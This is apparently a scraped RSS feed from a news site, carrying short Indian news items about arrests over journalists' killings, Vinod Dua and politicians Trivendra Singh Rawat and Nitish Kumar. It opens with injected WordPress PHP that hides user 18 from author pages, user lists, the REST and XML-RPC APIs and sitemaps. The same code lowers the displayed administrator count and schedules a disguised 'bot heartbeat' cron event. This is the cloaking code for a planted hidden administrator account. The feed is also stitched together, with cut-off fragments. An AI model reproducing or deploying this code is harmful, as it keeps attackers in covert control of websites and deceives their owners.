add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post 2 more held in killing of BJP workers, journalist in Lakhimpur Kheri appeared first on The Edge Media.
]]>
The new arrests, identified as Gurwinder Singh and Vichitra Singh, are related to the assassination of four persons earlier this month, including two Bharatiya Janata Party (BJP) officials, a driver, and a local journalist, according to Kumar.
The post 2 more held in killing of BJP workers, journalist in Lakhimpur Kheri appeared first on The Edge Media.
]]>The post Vinod Dua’s Wife, Padmavati Dua Succumbs to Covid at 61 appeared first on The Edge Media.
]]>Vinod Dua, who was just released on June 7, verified the information on Facebook on Friday, writing, “Chinna no more.”
During the period 1992-2016, Chinna Dua worked as a radiologist at the Diwan Chand Aggarwal Imaging & Research Centre. She has been survived by her husband Vinod Dua and their daughters Mallika Dua, comedian and clinical psychologist, Bakul Dua.
The post Vinod Dua’s Wife, Padmavati Dua Succumbs to Covid at 61 appeared first on The Edge Media.
]]>The post Vinod Dua’s Sedation Case Quashed By SC appeared first on The Edge Media.
]]>On Thursday, the Supreme Court ruled that every journalist has the right to protection, custody or FIR is subject to preceding legislation. However, the tribunal refused to order the establishment of a commission to evaluate sedition accusations against reporters.
EGI welcomes the Supreme Court’s caution about the stifling impact of independent press and our democracy by sedition legislation. The Guild calls for abolition of these oppressive, old rules which have no room in modern free democracy.
The post Vinod Dua’s Sedation Case Quashed By SC appeared first on The Edge Media.
]]>The post Trivendra Singh Rawat: The journey from journalist to becoming CM, now what will be the role in BJP appeared first on The Edge Media.
]]> It began by joining branches with the RSS and participating in the national religion. He joined this organization in 1979 but due to his organizational capacity he was made a pracharak of Dehradun region in 1985. Seeing his ability, the Bharatiya Janata Party connected him to himself and Rawat’s politics began to flourish with it. The party made him the organizational secretary of the Uttarakhand region. At that time, there was a big name of leaders like Lalji Tandon in BJP with whom Trivendra Singh Rawat got a chance to work.
It was during this period that the Uttarakhand movement started, with which Rawat was actively involved. He was arrested several times during the agitation. The result of the movement was that in the year 2000, Uttarakhand got the status of a separate state and it got separated from Uttar Pradesh. As soon as a separate state was formed, Trivendra Singh Rawat was made the party president of the Uttarakhand unit. The ups and downs in politics are common and Rawat is also not untouched by this. He lost the by-election to Doiwala in 2014. This seat was vacated by the then Education Minister Ramesh Pokhriyal Nishank and Rawat stood from this seat. However, Rawat avenged this defeat in 2017 and he won the same seat in 2017.
Trivendra Singh Rawat has also had a relationship with some controversies. For example, on July 27, 2017, he was surrounded by a tweet in which he was accused of favoring the Garhwali language more than the Kumauni language. Another controversy erupted in July 2019 when he made a statement that animals are cows that release oxygen, not carbon dioxide, and that staying close to cows cures TB disease. His statement created a lot of uproar and various questions were raised on his ‘information’. Despite all this, Trivendra Singh Rawat is counted among those leaders of Uttarakhand who rose from the ordinary level to become the state’s Agriculture Minister and later took over as the Chief Minister.
There was not even a full 22 years of this state, but there has hardly been a Chief Minister who has served his full term. The names of many leaders are coming as the next Chief Minister. It will be seen whether his tenure will be completed or the hill state of Uttarakhand will be waiting for a full-time Chief Minister.
The post Trivendra Singh Rawat: The journey from journalist to becoming CM, now what will be the role in BJP appeared first on The Edge Media.
]]>The post When asked about the Rupesh murder case, Nitish was furious, he told the reporters – did Jungleraj forget? appeared first on The Edge Media.
]]>Nitish said that if someone is killed, it is very sad. The police is investigating the entire case and the speedy trial will be conducted after the culprits are caught. The DGP has assured me that the matter is being thoroughly investigated. It should also be investigated what is the reason for the murder and what is the reason for the murder. He said that I ask the journalists what are you guys supporting? Why does the media not highlight the crime committed under husband and wife?
There was a fierce debate between Nitish Kumar and journalists on the issue of law and order. Nitish told journalists that if they get information about any crime, then tell DGP. Journalists said that DGP sahib does not pick up the phone. After this, Nitish Kumar directly called DGP SK Singhal.
The post When asked about the Rupesh murder case, Nitish was furious, he told the reporters – did Jungleraj forget? appeared first on The Edge Media.
]]>The post 3 more held in connection with the killing of journalist in UP’s Ballia appeared first on The Edge Media.
]]>The three were carrying a reward of Rs 25,000 each on information leading to their arrest, the SP said. A stick and two axes used in the crime have been recovered, he said. The SP said a local court had issued a non-bailable warrant against the three accused.
Ratan Singh (45), who worked with a Hindi news channel, was shot dead on August 24 night in the Phephana police station area of the district. A day later, a police officer was suspended while six people were arrested in connection with the murder.
Ballia’s Additional Superintendent of Police (ASP) Sanjay Yadav had earlier said that on the complaint of the journalist’s father, six people — Sushil Singh, Dinesh Singh, Arvind Singh, Suneel Singh, Vir Bahadur Singh and Vinay Singh –have been arrested. He added that Phephana police station in-charge Shashi Mauli Pandey was suspended. He said the complaint was lodged against 10 people.
According to the ASP, the journalist’s father, Vinod Singh, alleged that Sonu Singh of their village had called his son to his house around 8 pm where the accused were waiting with lathis and a revolver and they killed him.
Additional Director General of Police (Law and Order) Prashant Kumar had stated on August 24 night that Ratan Singh had a property dispute with his neighbour and after a fight between the two, he was shot dead. — PTI
The post 3 more held in connection with the killing of journalist in UP’s Ballia appeared first on The Edge Media.
]]>